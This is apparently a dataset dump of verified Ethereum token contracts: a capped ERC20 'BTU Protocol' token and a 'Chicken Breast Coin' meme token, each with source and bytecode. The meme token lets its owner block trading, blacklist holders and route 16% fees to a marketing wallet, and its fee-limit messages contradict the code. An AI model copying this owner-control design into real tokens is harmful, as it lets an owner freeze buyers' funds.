require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract BTU is CappedToken { string public constant name = "BTU Protocol"; string public constant symbol = "BTU"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 100000000 * 10 ** 18; // 100 millions tokens /** * On construction, the owner balance is set with the INITIAL_FUNDS amount. * Distribution of BTUs can be done from the owner address. * _totalSupply is inherited from CappedToken and determine how many tokens are created when the contract is created */ constructor() public CappedToken(INITIAL_SUPPLY) { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde0314610130578063095ea7b3146101c057806318160ddd1461022557806323b872dd146102505780632ff2e9dc146102d5578063313ce56714610300578063355274ea1461033157806340c10f191461035c57806366188463146103c157806370a08231146104265780637d64bcb41461047d5780638da5cb5b146104ac57806395d89b4114610503578063a9059cbb14610593578063d73dd623146105f8578063dd62ed3e1461065d578063f2fde38b146106d4575b600080fd5b34801561010d57600080fd5b50610116610717565b604051808215151515815260200191505060405180910390f35b34801561013c57600080fd5b5061014561072a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018557808201518184015260208101905061016a565b50505050905090810190601f1680156101b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cc57600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610763565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b5061023a610855565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085f565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b506102ea610c19565b6040518082815260200191505060405180910390f35b34801561030c57600080fd5b50610315610c28565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033d57600080fd5b50610346610c2d565b6040518082815260200191505060405180910390f35b34801561036857600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c33565b604051808215151515815260200191505060405180910390f35b3480156103cd57600080fd5b5061040c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce4565b604051808215151515815260200191505060405180910390f35b34801561043257600080fd5b50610467600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f75565b6040518082815260200191505060405180910390f35b34801561048957600080fd5b50610492610fbd565b604051808215151515815260200191505060405180910390f35b3480156104b857600080fd5b506104c1611085565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050f57600080fd5b506105186110ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055857808201518184015260208101905061053d565b50505050905090810190601f1680156105855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059f57600080fd5b506105de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b604051808215151515815260200191505060405180910390f35b34801561060457600080fd5b50610643600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611303565b604051808215151515815260200191505060405180910390f35b34801561066957600080fd5b506106be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ff565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b50610715600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611586565b005b600360149054906101000a900460ff1681565b6040805190810160405280600c81526020017f4254552050726f746f636f6c000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561097457600080fd5b6109c5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116de90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a58826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116de90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6a52b7d2dcc80cd2e400000081565b601281565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9157600080fd5b600360149054906101000a900460ff16151515610cad57600080fd5b600454610cc5836001546116f790919063ffffffff16565b11151515610cd257600080fd5b610cdc8383611713565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610df5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e89565b610e0883826116de90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101b57600080fd5b600360149054906101000a900460ff1615151561103757600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f425455000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561112157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561116e57600080fd5b6111bf826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116de90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611252826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061139482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561161e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156116ec57fe5b818303905092915050565b6000818301905082811015151561170a57fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177157600080fd5b600360149054906101000a900460ff1615151561178d57600080fd5b6117a2826001546116f790919063ffffffff16565b6001819055506117f9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058208d6e9b157b6c45dd0e987b84ee0db9e83a054064c3c61eeaabda47eac4d4e9f00029
{"success": true, "error": null, "results": {}}
8,513
0x3c599b98346229ab453c74f528f22324272324d3
/** *Submitted for verification at Etherscan.io on 2022-02-13 */ /** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* Pasha Inu https://t.me/chickenbreastcoin https://twitter.com/chickbreastcoin Chickenbreast Coin The world's first crypto meat token */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Chickenbreast is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Chicken Breast Coin"; string private constant _symbol = "CHICKEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0a334d4EbcaaD717525153EA74F62B4fE9A203A7); address payable private _marketingAddress = payable(0xe94A98E3a2dF28597547532Bf888aFe6A6E99c3B); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ec5565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f96565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fee565b61087b565b6040516102649190613049565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130c3565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130ed565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613108565b6108d0565b6040516102f79190613049565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130ed565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613177565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b60405161037891906131a1565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131bc565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613215565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131bc565b610c51565b60405161041e91906130ed565b60405180910390f35b34801561043357600080fd5